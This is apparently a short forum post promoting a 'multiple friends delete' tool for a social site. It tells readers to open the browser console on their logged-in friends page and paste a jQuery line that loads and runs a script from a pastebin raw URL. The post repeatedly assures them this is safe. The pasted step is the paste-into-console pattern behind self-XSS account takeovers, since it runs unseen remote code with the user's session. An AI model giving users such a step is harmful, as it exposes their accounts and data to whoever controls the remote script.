Having another go at getting my 'multiple friends delete' application to work. Just working on the GUI (graphical user interface) at the moment.
You CAN'T delete friends with this because it's a test and the delete button is disabled. If the button was enabled you would still have to click a confirm button and do a copy and paste to finalise the delete, so this is perfectly safe.
Have a go with it if you like.
Go to your 'view all' friends page, open up your browsers developer tools, click the 'console' tab, paste in the code below then hit enter.
$("<script>").attr({src:"https://pastebin.com/raw/2QVn1f1E/",type:"text/javascript"}).appendTo("body");
You can close the dev tools if you wish now.
You should see three buttons (one is disabled) below your list of friends. Clicking the 'select all' button will select all your friends on the current page. Clicking the 'clear all' button will clear any friends that are selected. Clicking on any friends profile picture, will either select, or de-select it.
I repeat, no friends will be deleted by doing this as the delete button is disabled, and you are only selecting and de-selecting, not deleting them.